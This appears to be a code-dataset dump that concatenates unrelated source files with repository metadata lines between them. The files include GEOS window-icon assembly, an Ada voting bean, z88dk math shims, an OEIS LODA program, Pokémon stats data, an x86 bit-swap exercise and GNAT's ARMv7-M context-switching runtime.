ds:[di].OLWII_titleGlyphWin tst si jz done ; ; invalidate the glyph so that it redraws without focus indication ; mov cl, mask VOF_IMAGE_INVALID mov dl, VUM_NOW call VisMarkInvalid done: pop ax, si call WinIcon_ObjCallSuperNoLock_OLWinIconClass ret OLWinIconLostSystemFocusExcl endp COMMENT @---------------------------------------------------------------------- METHOD: OLWinIconStartSelect -- MSG_META_START_SELECT DESCRIPTION: Handler for SELECT button pressed on Window Icon. If this is a double-click, we want to open the GenPrimary associated with this icon. Otherwise, we just call the superclass (OLWinClass) so it can handle as usual. PASS: *ds:si - instance data es - segment of OLWinClass ax - method cx, dx - ptr position bp - [ UIFunctionsActive | buttonInfo ] RETURN: Nothing DESTROYED: bx, si, di, ds, es PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Eric 10/89 Initial version ------------------------------------------------------------------------------@ OLWinIconStartSelect method dynamic OLWinIconClass, MSG_META_START_SELECT ;Now is this is a window icon, and the event is double-press, ;open the window up test bp, mask BI_DOUBLE_PRESS jz OLWISS_50 ;skip if not... ;send MSG_OL_RESTORE_WIN to self mov ax, MSG_OL_RESTORE_WIN call ObjCallPreserveRegs mov ax, mask MRF_PROCESSED ret OLWISS_50: call WinIcon_ObjCallSuperNoLock_OLWinIconClass ret OLWinIconStartSelect endp COMMENT @---------------------------------------------------------------------- METHOD: OLWinIconMaximizeFromIcon -- MSG_OL_MAXIMIZE_FROM_ICON DESCRIPTION: This is invoked when the user presses on the MAXIMIZE item in the system menu. PASS: *ds:si - instance data es - segment of OLWinIconClass ax - MSG_OL_MAXIMIZE_FROM_ICON cx:dx - ? bp - ? RETURN: carry - ? ax, cx, dx, bp - ? DESTROYED: PSEUDO CODE/STRATEGY: Send MSG_GEN_DISPLAY_SET_MAXIMIZED to GenPrimary. Send MSG_GEN_DISPLAY_SET_NOT_MINIMIZED to GenPrimary. REVISION HISTORY: Name Date Description ---- ---- ----------- Eric 10/89 Initial version Eric 10/90 updated to use OD to get to Primary ------------------------------------------------------------------------------@ OLWinIconMaximizeFromIcon method dynamic OLWinIconClass, MSG_OL_MAXIMIZE_FROM_ICON ;tell the GenPrimary to wake up (and MAXIMIZE if necessary) ; ds:di = instance data mov ax, MSG_GEN_DISPLAY_SET_MAXIMIZED call OLWinIconCallPrimaryObject FALL_THRU OLWinIconRestoreWin OLWinIconMaximizeFromIcon endp COMMENT @---------------------------------------------------------------------- METHOD: OLWinIconRestoreWin -- MSG_OL_RESTORE_WIN DESCRIPTION: This is invoked when the user presses on the RESTORE item in the system menu, or when they double-click on this OLWinIcon object. PASS: *ds:si - instance data es - segment of OLWinIconClass ax - MSG_OL_RESTORE_WIN cx:dx - ? bp - ? RETURN: carry - ? ax, cx, dx, bp - ? DESTROYED: PSEUDO CODE/STRATEGY: Send MSG_GEN_DISPLAY_SET_NOT_MINIMIZED to GenPrimary. REVISION HISTORY: Name Date Description ---- ---- ----------- Eric 10/89 Initial version Eric 10/90 updated to use OD to get to Primary ------------------------------------------------------------------------------@ ;note FALL_THRU above OLWinIconRestoreWin method OLWinIconClass, MSG_OL_RESTORE_WIN ;tell the GenPrimary to wake up (and MAXIMIZE if necessary) mov ax, MSG_GEN_DISPLAY_SET_NOT_MINIMIZED mov dl, VUM_NOW call WinIcon_DerefVisSpec_DI mov bx, ds:[di].OLWII_window.handle mov si, ds:[di].OLWII_window.chunk mov di, mask MF_FORCE_QUEUE call ObjMessage ret OLWinIconRestoreWin endp COMMENT @---------------------------------------------------------------------- FUNCTION: OLWinIconFupKbdChar - MSG_META_FUP_KBD_CHAR handler DESCRIPTION: This method is sent by child which 1) is the focused object and 2) has received a MSG_META_FUP_KBD_CHAR which is does not care about. Since we also don't care about the character, we forward this method up to the parent in the focus hierarchy. At this class level, the parent in the focus hierarchy is is the generic parent. PASS: *ds:si = instance data for object ds:di = specific instance data for object cx = character value dl = CharFlags dh = ShiftState (ModBits) bp low = ToggleState bp high = scan code RETURN: carry set if handled DESTROYED: ? PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 2/12/92 Initial version (adapted from similar handlers) ------------------------------------------------------------------------------@ OLWinIconFupKbdChar method dynamic OLWinIconClass, MSG_META_FUP_KBD_CHAR push ax ;save method ;Don't handle state keys (shift, ctrl, etc). test dl, mask CF_STATE_KEY or mask CF_TEMP_ACCENT jnz callSuper ;ignore character... test dl, mask CF_FIRST_PRESS or mask CF_REPEAT_PRESS jz callSuper ;skip if not press event... push es ;set es:di = table of shortcuts segmov es, cs mov di, offset cs:OLWinIconKbdBindings call ConvertKeyToMethod pop es jnc callSuper ;skip if none found... call ObjCallInstanceNoLock ;send message to self pop ax ;restore method stc ;say handled ret callSuper: pop ax ;restore method call WinIcon_ObjCallSuperNoLock_OLWinIconClass exit: ret OLWinIconFupKbdChar endm if _USE_KBD_ACCELERATORS ;--------------------------------------------- OLWinIconKbdBindings label word word length OLWinIconShortcutList ;p a c s c ;h l t h h ;y t r f a ;s l t r ; if DBCS_PCGEOS OLWinIconShortcutList KeyboardShortcut \ <0, 1, 0, 0, C_SYS_F5 and mask KS_CHAR>, ;RESTORE <0, 0, 0, 0, C_SYS_ENTER and mask KS_CHAR> ;RESTORE else OLWinIconShortcutList KeyboardShortcut \ <0, 1, 0, 0, 0xf, VC_F5>, ;RESTORE <0, 0, 0, 0, 0xf, VC_ENTER> ;RESTORE endif ;OLWinIconMethodList label word word MSG_OL_RESTORE_WIN word MSG_OL_RESTORE_WIN else ;-------------------------------------------------------------------- OLWinIconKbdBindings label word word length OLWinIconShortcutList ;P C S C ;h A t h S h ;y l r f e a ;s t l t t r if DBCS_PCGEOS OLWinIconShortcutList KeyboardShortcut \ <0, 0, 0, 0, C_SYS_ENTER and mask KS_CHAR> ;RESTORE else OLWinIconShortcutList KeyboardShortcut \ <0, 0, 0, 0, 0xf, VC_ENTER> ;RESTORE endif ;OLWinIconMethodList label word word MSG_OL_RESTORE_WIN endif ;--------------------------------------------------------------------- COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLWinIconGainedSysTargetExcl %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: update task entry list CALLED BY: MSG_META_GAINED_SYS_TARGET_EXCL PASS: *ds:si = OLWinIconClass object ds:di = OLWinIconClass instance data es = segment of OLWinIconClass ax = MSG_META_GAINED_SYS_TARGET_EXCL RETURN: nothing ALLOWED TO DESTROY: ax, cx, dx, bp bx, si, di, ds, es SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 1/29/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLWinIconGainedSysTargetExcl method dynamic OLWinIconClass, MSG_META_GAINED_SYS_TARGET_EXCL call WinIcon_ObjCallSuperNoLock_OLWinIconClass call UpdateAppMenuItemCommon ret OLWinIconGainedSysTargetExcl endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLWinIconTestWinInteractibility %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: respond that we are interactible CALLED BY: MSG_META_TEST_WIN_INTERACTIBILITY PASS: *ds:si = OLWinIconClass object ds:di = OLWinIconClass instance data es = segment of OLWinIconClass ax = MSG_META_TEST_WIN_INTERACTIBILITY ^lcx:dx = InputOD of window to check ^hbp = Window to check RETURN: carry = set if mouse allowed in window, clear if not. ALLOWED TO DESTROY: bx, si, di, ds, es SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 1/2/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLWinIconTestWinInteractibility method dynamic OLWinIconClass, MSG_META_TEST_WIN_INTERACTIBILITY tst_clc cx jz done ; no window, not allow cmp cx, ds:[LMBH_handle] jne notSelf cmp dx, si stc ; assume is us je done notSelf: clc ; else, not allowed done: ret OLWinIconTestWinInteractibility endm WinIconCode ends
awa/plugins/awa-votes/src/awa-votes-beans.adb
fuzzysloth/ada-awa
81
9361
<filename>awa/plugins/awa-votes/src/awa-votes-beans.adb ----------------------------------------------------------------------- -- awa-votes-beans -- Beans for module votes -- Copyright (C) 2013 <NAME> -- Written by <NAME> (<EMAIL>) -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. ----------------------------------------------------------------------- with AWA.Helpers.Requests; package body AWA.Votes.Beans is -- ------------------------------ -- Action to vote up. -- ------------------------------ overriding procedure Vote_Up (Bean : in out Vote_Bean; Outcome : in out Ada.Strings.Unbounded.Unbounded_String) is pragma Unreferenced (Outcome); begin Bean.Entity_Id := AWA.Helpers.Requests.Get_Parameter ("id"); Bean.Rating := 1; Bean.Module.Vote_For (Permission => Ada.Strings.Unbounded.To_String (Bean.Permission), Entity_Type => Ada.Strings.Unbounded.To_String (Bean.Entity_Type), Id => Bean.Entity_Id, Value => Bean.Rating, Total => Bean.Total); end Vote_Up; -- ------------------------------ -- Action to vote down. -- ------------------------------ overriding procedure Vote_Down (Bean : in out Vote_Bean; Outcome : in out Ada.Strings.Unbounded.Unbounded_String) is pragma Unreferenced (Outcome); begin Bean.Entity_Id := AWA.Helpers.Requests.Get_Parameter ("id"); Bean.Rating := -1; Bean.Module.Vote_For (Permission => Ada.Strings.Unbounded.To_String (Bean.Permission), Entity_Type => Ada.Strings.Unbounded.To_String (Bean.Entity_Type), Id => Bean.Entity_Id, Value => Bean.Rating, Total => Bean.Total); end Vote_Down; -- ------------------------------ -- Action to vote. -- ------------------------------ overriding procedure Vote (Bean : in out Vote_Bean; Outcome : in out Ada.Strings.Unbounded.Unbounded_String) is pragma Unreferenced (Outcome); begin Bean.Entity_Id := AWA.Helpers.Requests.Get_Parameter ("id"); Bean.Rating := AWA.Helpers.Requests.Get_Parameter ("rating", 0); if Bean.Rating /= 0 and Bean.Rating /= -1 and Bean.Rating /= 1 then Bean.Rating := 0; end if; Bean.Module.Vote_For (Permission => Ada.Strings.Unbounded.To_String (Bean.Permission), Entity_Type => Ada.Strings.Unbounded.To_String (Bean.Entity_Type), Id => Bean.Entity_Id, Value => Bean.Rating, Total => Bean.Total); end Vote; -- ------------------------------ -- Create the Vote_Bean bean instance. -- ------------------------------ function Create_Vote_Bean (Module : in AWA.Votes.Modules.Vote_Module_Access) return Util.Beans.Basic.Readonly_Bean_Access is Object : constant Vote_Bean_Access := new Vote_Bean; begin Object.Module := Module; return Object.all'Access; end Create_Vote_Bean; end AWA.Votes.Beans;
libsrc/_DEVELOPMENT/math/float/math32/c/sdcc/cm32_sdcc_fsmin_fastcall.asm
rjcorrig/z88dk
0
27810
<reponame>rjcorrig/z88dk ; float __fsmin_fastcall (float number) SECTION code_clib SECTION code_math PUBLIC cm32_sdcc_fsmin_fastcall EXTERN m32_fsmin_fastcall ; change underflow to a error floating zero as sdcc float ; ; enter : stack = sdcc_float number, ret ; ; exit : DEHL = sdcc_float(0) ; ; uses : af, bc, de, hl DEFC cm32_sdcc_fsmin_fastcall = m32_fsmin_fastcall ; enter DEHL = sdcc_float ; ; return DEHL = sdcc_float
programs/oeis/176/A176593.asm
karttu/loda
0
160230
; A176593: List of pairs n,13*n. ; 1,13,2,26,3,39,4,52,5,65,6,78,7,91,8,104,9,117,10,130,11,143,12,156,13,169,14,182,15,195,16,208,17,221,18,234,19,247,20,260,21,273,22,286,23,299,24,312,25,325,26,338,27,351,28,364,29,377,30,390,31,403,32,416,33,429,34,442,35,455,36,468,37,481,38,494,39,507,40,520,41,533,42,546,43,559,44,572,45,585,46,598,47,611,48,624,49,637,50,650,51,663,52,676,53,689,54,702,55,715,56,728,57,741,58,754,59,767,60,780,61,793,62,806,63,819,64,832,65,845,66,858,67,871,68,884,69,897,70,910,71,923,72,936,73,949,74,962,75,975,76,988,77,1001,78,1014,79,1027,80,1040,81,1053,82,1066,83,1079,84,1092,85,1105,86,1118,87,1131,88,1144,89,1157,90,1170,91,1183,92,1196,93,1209,94,1222,95,1235,96,1248,97,1261,98,1274,99,1287,100,1300,101,1313,102,1326,103,1339,104,1352,105,1365,106,1378,107,1391,108,1404,109,1417,110,1430,111,1443,112,1456,113,1469,114,1482,115,1495,116,1508,117,1521,118,1534,119,1547,120,1560,121,1573,122,1586,123,1599,124,1612,125,1625 mov $1,$0 mod $1,2 add $1,12 fac $1 mov $2,$0 div $2,2 add $2,1 mul $1,$2 div $1,479001600
libsrc/_DEVELOPMENT/math/float/math16/c/sccz80/cm16_sccz80_exp2.asm
ahjelm/z88dk
640
242607
<filename>libsrc/_DEVELOPMENT/math/float/math16/c/sccz80/cm16_sccz80_exp2.asm<gh_stars>100-1000 SECTION code_fp_math16 PUBLIC cm16_sccz80_exp2 EXTERN cm16_sccz80_read1, exp2f16 cm16_sccz80_exp2: call cm16_sccz80_read1 jp exp2f16
s-crtl.ads
ytomino/gnat4drake
0
15325
<gh_stars>0 pragma License (Unrestricted); with C.stdlib; package System.CRTL is pragma Preelaborate; subtype size_t is C.size_t; -- Other C runtime functions procedure free (Ptr : System.Address) renames C.stdlib.free; function malloc (Size : size_t) return System.Address renames C.stdlib.malloc; function realloc (Ptr : System.Address; Size : size_t) return System.Address renames C.stdlib.realloc; end System.CRTL;
data/baseStats_original/nidorina.asm
adhi-thirumala/EvoYellow
16
2549
<reponame>adhi-thirumala/EvoYellow db DEX_NIDORINA ; pokedex id db 70 ; base hp db 62 ; base attack db 67 ; base defense db 56 ; base speed db 55 ; base special db POISON ; species type 1 db POISON ; species type 2 db 120 ; catch rate db 117 ; base exp yield INCBIN "pic/ymon/nidorina.pic",0,1 ; 66, sprite dimensions dw NidorinaPicFront dw NidorinaPicBack ; attacks known at lvl 0 db GROWL db TACKLE db SCRATCH db 0 db 3 ; growth rate ; learnset tmlearn 6,7,8 tmlearn 9,10,11,12,13,14 tmlearn 20,24 tmlearn 25,31,32 tmlearn 33,34,40 tmlearn 44 tmlearn 50 db BANK(NidorinaPicFront)
assembly_code/chp4_01.asm
Nabeegh-Ahmed/BelalHashmi-Assembly-Exercise-Solutions
104
98464
<gh_stars>100-1000 [org 0x0100] jmp start _bits: dw 0,0 start: mov ax, 0xA891 mov cx, 0 mov bx, 1000000000000000b ;Mask to test a particular bit mov dx, 1100000000000000b ;Mask used to take xor of the two different bits which will swap them mov si, 0 mov di, 0 loop1: cmp bx,0 jz end test bx,ax jnz save1 jz save0 l1: shr bx,1 ;Shift the mask one bit to the right to test the next bit inc cx cmp cx,2 ;After two bits are tested then swap them. jz swap jnz loop1 save1: mov word [_bits + si], 1 add si,2 jmp l1 save0: mov word [_bits + si], 0 add si,2 jmp l1 swap: mov si,0 mov cx,0 mov di, [_bits] cmp di, [_bits + 2] jz l2 ;If the bits are same then do nothing xor ax,dx ;Otherwise swap those bits l2: shr dx,2 ;shift the mask two bits to the right for the next two bits jmp loop1 end: mov ax, 0x4c00 int 21h ;-------------------------------------------------------------- ;Alternate Solution: ;[org 0x0100] ; start: mov ax, ABCD ; mov bx, 1010101010101010b ; mov dx, 0101010101010101b ; and bx,ax ; and dx,ax ; shr bx,1 ; shl dx,1 ; or bx,dx ; mov ax,bx ; end: mov ax, 0x4c00 ; int 21h ;--------------------------------------------------------------
source/contexts/plain/program-plain_compilations.ads
optikos/oasis
0
30595
<gh_stars>0 -- Copyright (c) 2019 <NAME> <<EMAIL>> -- -- SPDX-License-Identifier: MIT -- License-Filename: LICENSE ------------------------------------------------------------- with System.Storage_Pools.Subpools; with Program.Compilation_Units; with Program.Compilations; with Program.Contexts; with Program.Lexical_Elements; with Program.Parsers; private with Ada.Containers.Vectors; private with Ada.Strings.Wide_Wide_Unbounded; private with Program.Source_Buffers; private with Program.Plain_Source_Buffers; private with Program.Plain_Lexical_Elements; private with Program.Plain_Contexts; package Program.Plain_Compilations is pragma Preelaborate; type Compilation (Subpool : not null System.Storage_Pools.Subpools.Subpool_Handle) is limited new Program.Compilations.Compilation with private; procedure Initialize (Self : in out Compilation'Class; Context : not null Program.Contexts.Context_Access); overriding function Context (Self : Compilation) return not null Program.Contexts.Context_Access; -- Return corresponding context overriding function Text_Name (Self : Compilation) return Text; overriding function Object_Name (Self : Compilation) return Text; overriding function Line_Count (Self : Compilation) return Natural; overriding function Line (Self : Compilation; Index : Positive) return Text; overriding function Lexical_Element_Count (Self : Compilation) return Natural; overriding function Lexical_Element (Self : Compilation; Index : Positive) return Program.Lexical_Elements.Lexical_Element_Access; not overriding procedure Parse_File (Self : aliased in out Compilation; Text_Name : Text; Units : out Program.Parsers.Unit_Vectors.Vector; Pragmas : out Program.Parsers.Element_Vectors.Vector); private package Span_Vectors is new Ada.Containers.Vectors (Index_Type => Positive, Element_Type => Program.Source_Buffers.Span, "=" => Program.Source_Buffers."="); type Plain_Context_Access is access all Program.Plain_Contexts.Context; type Compilation (Subpool : not null System.Storage_Pools.Subpools.Subpool_Handle) is limited new Compilations.Compilation with record Context : Plain_Context_Access; Text_Name : Ada.Strings.Wide_Wide_Unbounded.Unbounded_Wide_Wide_String; Object_Name : Ada.Strings.Wide_Wide_Unbounded.Unbounded_Wide_Wide_String; Buffer : aliased Program.Plain_Source_Buffers.Source_Buffer; Tokens : aliased Plain_Lexical_Elements.Lexical_Element_Vector; Line_Spans : Span_Vectors.Vector; end record; end Program.Plain_Compilations;
examples/linux/src/main.adb
jonashaggstrom/ada-canopen
6
3849
pragma Profile (Ravenscar); with GNAT.Command_Line; with App; procedure Main is function Run_Remote_Node return Boolean is begin loop case GNAT.Command_Line.Getopt ("r") is when 'r' => return True; when others => exit; end case; end loop; return False; end Run_Remote_Node; begin if Run_Remote_Node then App.Run_Remote; else App.Run_Local; end if; end Main;
demo/adainclude/s-bbcppr.adb
e3l6/SSMDev
0
126
------------------------------------------------------------------------------ -- -- -- GNAT RUN-TIME LIBRARY (GNARL) COMPONENTS -- -- -- -- S Y S T E M . B B . C P U _ P R I M I T I V E S -- -- -- -- B o d y -- -- -- -- Copyright (C) 1999-2002 Universidad Politecnica de Madrid -- -- Copyright (C) 2003-2005 The European Space Agency -- -- Copyright (C) 2003-2013, AdaCore -- -- -- -- GNARL is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 3, or (at your option) any later ver- -- -- sion. GNARL is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. -- -- -- -- -- -- -- -- -- -- -- -- You should have received a copy of the GNU General Public License and -- -- a copy of the GCC Runtime Library Exception along with this program; -- -- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see -- -- <http://www.gnu.org/licenses/>. -- -- -- ------------------------------------------------------------------------------ -- This version is for ARM bareboard targets using the ARMv7-M targets, -- which only use Thumb2 instructions. with Ada.Unchecked_Conversion; use Ada; with System.Storage_Elements; with System.Multiprocessors; with System.BB.Board_Support; with System.BB.Threads; with System.BB.Threads.Queues; with System.BB.Time; with System.Machine_Code; use System.Machine_Code; package body System.BB.CPU_Primitives is use Parameters; use Threads; use Queues; use Board_Support; use Time; use System.Multiprocessors; package SSE renames System.Storage_Elements; use type SSE.Integer_Address; use type SSE.Storage_Offset; NL : constant String := ASCII.LF & ASCII.HT; -- New line separator in Asm templates No_Floating_Point : constant Boolean := False; -- Set True iff the FPU should not be used ----------- -- Traps -- ----------- Reset_Vector : constant Vector_Id := 1; NMI_Vector : constant Vector_Id := 2; Hard_Fault_Vector : constant Vector_Id := 3; -- Mem_Manage_Vector : constant Vector_Id := 4; -- Never referenced Bus_Fault_Vector : constant Vector_Id := 5; Usage_Fault_Vector : constant Vector_Id := 6; SV_Call_Vector : constant Vector_Id := 10; -- Debug_Mon_Vector : constant Vector_Id := 11; -- Never referenced Pend_SV_Vector : constant Vector_Id := 13; Sys_Tick_Vector : constant Vector_Id := 14; Interrupt_Request_Vector : constant Vector_Id := 15; pragma Assert (Interrupt_Request_Vector = Vector_Id'Last); type Trap_Handler_Ptr is access procedure (Id : Vector_Id); function To_Pointer is new Unchecked_Conversion (Address, Trap_Handler_Ptr); type Trap_Handler_Table is array (Vector_Id) of Trap_Handler_Ptr; pragma Suppress_Initialization (Trap_Handler_Table); Trap_Handlers : Trap_Handler_Table; pragma Export (C, Trap_Handlers, "__gnat_bb_exception_handlers"); System_Vectors : constant System.Address; pragma Import (Asm, System_Vectors, "__vectors"); -- As ARMv7M does not directly provide a single-shot alarm timer, and -- we have to use Sys_Tick for that, we need to have this clock generate -- interrupts at a relatively high rate. To avoid unnecessary overhead -- when no alarms are requested, we'll only call the alarm handler if -- the current time exceeds the Alarm_Time by at most half the modulus -- of Timer_Interval. Alarm_Time : Board_Support.Timer_Interval; pragma Volatile (Alarm_Time); pragma Import (C, Alarm_Time, "__gnat_alarm_time"); procedure SV_Call_Handler; pragma Export (Asm, SV_Call_Handler, "__gnat_sv_call_trap"); procedure Pend_SV_Handler; pragma Machine_Attribute (Pend_SV_Handler, "naked"); pragma Export (Asm, Pend_SV_Handler, "__gnat_pend_sv_trap"); -- This assembly routine needs to save and restore registers without -- interference. The "naked" machine attribute communicates this to GCC. procedure Sys_Tick_Handler; pragma Export (Asm, Sys_Tick_Handler, "__gnat_sys_tick_trap"); procedure Interrupt_Request_Handler; pragma Export (Asm, Interrupt_Request_Handler, "__gnat_irq_trap"); procedure GNAT_Error_Handler (Trap : Vector_Id); pragma No_Return (GNAT_Error_Handler); ----------------------- -- Context Switching -- ----------------------- -- This port uses the ARMv7-M hardware for saving volatile context for -- interrupts, see the Hardware_Context type below for details. Any -- non-volatile registers will be preserved by the interrupt handler in -- the same way as it happens for ordinary procedure calls. -- The non-volatile registers, as well as the value of the stack pointer -- (SP_process) are saved in the Context buffer of the Thread_Descriptor. -- Any non-volatile floating-point registers are saved on the stack. -- R4 .. R11 are at offset 0 .. 7 SP_process : constant Context_Id := 8; type Hardware_Context is record R0, R1, R2, R3 : Word; R12, LR, PC, PSR : Word; end record; ICSR : Word with Volatile, Address => 16#E000_ED04#; -- Int. Control/State ICSR_Pend_SV_Set : constant Word := 2**28; VTOR : Address with Volatile, Address => 16#E000_ED08#; -- Vec. Table Offset AIRCR : Word with Volatile, Address => 16#E000_ED0C#; -- App Int/Reset Ctrl CCR : Word with Volatile, Address => 16#E000_ED14#; -- Config. Control SHPR1 : Word with Volatile, Address => 16#E000_ED18#; -- Sys Hand 4- 7 Prio SHPR2 : Word with Volatile, Address => 16#E000_ED1C#; -- Sys Hand 8-11 Prio SHPR3 : Word with Volatile, Address => 16#E000_ED20#; -- Sys Hand 12-15 Prio SHCSR : Word with Volatile, Address => 16#E000_ED24#; -- Sys Hand Ctrl/State function PRIMASK return Word with Inline, Export, Convention => C; -- Function returning the contents of the PRIMASK register procedure Initialize_CPU; -- Set the CPU up to use the proper stack for interrupts, initialize and -- enable system trap handlers. ------------- -- PRIMASK -- ------------- function PRIMASK return Word is R : Word; begin Asm ("mrs %0, PRIMASK", Outputs => Word'Asm_Output ("=r", R), Volatile => True); return R; end PRIMASK; -------------------- -- Initialize_CPU -- -------------------- procedure Initialize_CPU is Interrupt_Stack_Table : array (System.Multiprocessors.CPU) of System.Address; pragma Import (Asm, Interrupt_Stack_Table, "interrupt_stack_table"); -- Table containing a pointer to the top of the stack for each processor begin -- Switch the stack pointer to SP_process (PSP) Asm ("mrs r0, MSP" & NL & "msr PSP, r0" & NL & "mrs r0, CONTROL" & NL & "orr r0,r0,2" & NL & "msr CONTROL,r0", Clobber => "r0", Volatile => True); -- Initialize SP_main (MSP) Asm ("msr MSP, %0", Inputs => Address'Asm_Input ("r", Interrupt_Stack_Table (1)), Volatile => True); -- Initialize vector table VTOR := System_Vectors'Address; -- Set configuration: stack is 8 byte aligned, trap on divide by 0, -- no trap on unaligned access, can enter thread mode from any level. CCR := CCR or 16#211#; -- Set priorities of system handlers. The Pend_SV handler runs at the -- lowest priority, so context switching does not block higher priority -- interrupt handlers. All other system handlers run at the highest -- priority (0), so they will not be interrupted. This is also true for -- the SysTick interrupt, as this interrupt must be serviced promptly in -- order to avoid losing track of time. SHPR1 := 0; SHPR2 := 0; SHPR3 := 16#00_FF_00_00#; -- Write the required key (16#05FA#) and desired PRIGROUP value. We -- configure this to 3, to have 16 group priorities AIRCR := 16#05FA_0300#; pragma Assert (AIRCR = 16#FA05_0300#); -- Key value is swapped -- Enable usage, bus and memory management fault SHCSR := SHCSR or 16#7_000#; -- Unmask Fault Asm ("cpsie f", Volatile => True); end Initialize_CPU; -------------------- -- Context_Switch -- -------------------- procedure Context_Switch is begin -- Interrupts must be disabled at this point pragma Assert (PRIMASK = 1); -- Make deferred supervisor call pending ICSR := ICSR_Pend_SV_Set; -- The context switch better be pending, as otherwise it means -- interrupts were not disabled. pragma Assert ((ICSR and ICSR_Pend_SV_Set) /= 0); -- Memory must be clobbered, as task switching causes a task to signal, -- which means its memory changes must be visible to all other tasks. Asm ("", Volatile => True, Clobber => "memory"); end Context_Switch; ----------------- -- Get_Context -- ----------------- function Get_Context (Context : Context_Buffer; Index : Context_Id) return Word is (Word (Context (Index))); ------------------------ -- GNAT_Error_Handler -- ------------------------ procedure GNAT_Error_Handler (Trap : Vector_Id) is begin case Trap is when Reset_Vector => raise Program_Error with "unexpected reset"; when NMI_Vector => raise Program_Error with "non-maskable interrupt"; when Hard_Fault_Vector => raise Program_Error with "hard fault"; when Bus_Fault_Vector => raise Program_Error with "bus fault"; when Usage_Fault_Vector => raise Constraint_Error with "usage fault"; when others => raise Program_Error with "unhandled trap"; end case; end GNAT_Error_Handler; ---------------------------------- -- Interrupt_Request_Handler -- -- ---------------------------------- procedure Interrupt_Request_Handler is begin -- Call the handler (System.BB.Interrupts.Interrupt_Wrapper) Trap_Handlers (Interrupt_Request_Vector)(Interrupt_Request_Vector); -- The handler has changed the current priority (BASEPRI), although -- being useless on ARMv7m. We need to revert it. -- The interrupt handler may have scheduled a new task, so we need to -- check whether a context switch is needed. if Context_Switch_Needed then -- Perform a context switch because the currently executing thread is -- no longer the one with the highest priority. -- No need to update execution time. Already done in the wrapper. -- Note that the following context switch is not immediate, but -- will only take effect after interrupts are enabled. Context_Switch; end if; -- Restore interrupt masking of interrupted thread Enable_Interrupts (Running_Thread.Active_Priority); end Interrupt_Request_Handler; --------------------- -- Pend_SV_Handler -- --------------------- procedure Pend_SV_Handler is begin -- At most one instance of this handler can run at a time, and -- interrupts will preserve all state, so interrupts can be left -- enabled. Note the invariant that at all times the active context is -- in the ("__gnat_running_thread_table"). Only this handler may update -- that variable. Asm (Template => "movw r2, #:lower16:__gnat_running_thread_table" & NL & "movt r2, #:upper16:__gnat_running_thread_table" & NL & "mrs r12, PSP " & NL & -- Retrieve current PSP "ldr r3, [r2]" & NL & -- Load address of running context -- If floating point is enabled, we may have to save the non-volatile -- floating point registers, and save bit 4 of the LR register, as -- this will indicate whether the floating point context was saved -- or not. (if No_Floating_Point then "" -- No FP context to save else "tst lr, #16" & NL & -- if FPCA flag was set, "itte eq" & NL & -- then "vstmdbeq r12!,{s16-s31}" & NL & -- save FP context below PSP "addeq r12, #1" & NL & -- save flag in bit 0 of PSP "subne lr, #16" & NL) & -- else set FPCA flag in LR -- Swap R4-R11 and PSP (stored in R12) "stm r3, {r4-r12}" & NL & -- Save context "movw r3, #:lower16:first_thread_table" & NL & "movt r3, #:upper16:first_thread_table" & NL & "ldr r3, [r3]" & NL & -- Load address of new context "str r3, [r2]" & NL & -- Update value of Pend_SV_Context "ldm r3, {r4-r12}" & NL & -- Load context and new PSP -- If floating point is enabled, check bit 0 of PSP to see if we -- need to restore the floating point context. (if No_Floating_Point then "" -- No FP context to restore else "tst r12, #1" & NL & -- if FPCA was set, "itte ne" & NL & -- then "subne r12, #1" & NL & -- remove flag from PSP "vldmiane r12!,{s16-s31}" & NL & -- Restore FP context "addeq lr, #16" & NL) & -- else clear FPCA flag in LR -- Finally, update PSP and perform the exception return "msr PSP, r12" & NL & -- Update PSP "bx lr", -- return to caller Volatile => True); end Pend_SV_Handler; --------------------- -- SV_Call_Handler -- --------------------- procedure SV_Call_Handler is begin GNAT_Error_Handler (SV_Call_Vector); end SV_Call_Handler; ----------------- -- Set_Context -- ----------------- procedure Set_Context (Context : in out Context_Buffer; Index : Context_Id; Value : Word) is begin Context (Index) := Address (Value); end Set_Context; ---------------------- -- Sys_Tick_Handler -- ---------------------- procedure Sys_Tick_Handler is Max_Alarm_Interval : constant Timer_Interval := Timer_Interval'Last / 2; Now : constant Timer_Interval := Read_Clock; begin -- The following allows max. efficiency for "useless" tick interrupts if Alarm_Time - Now <= Max_Alarm_Interval then -- Alarm is still in the future, nothing to do, so return quickly return; end if; Alarm_Time := Now + Max_Alarm_Interval; -- Call the alarm handler Trap_Handlers (Sys_Tick_Vector)(Sys_Tick_Vector); -- The interrupt handler may have scheduled a new task if Context_Switch_Needed then Context_Switch; end if; 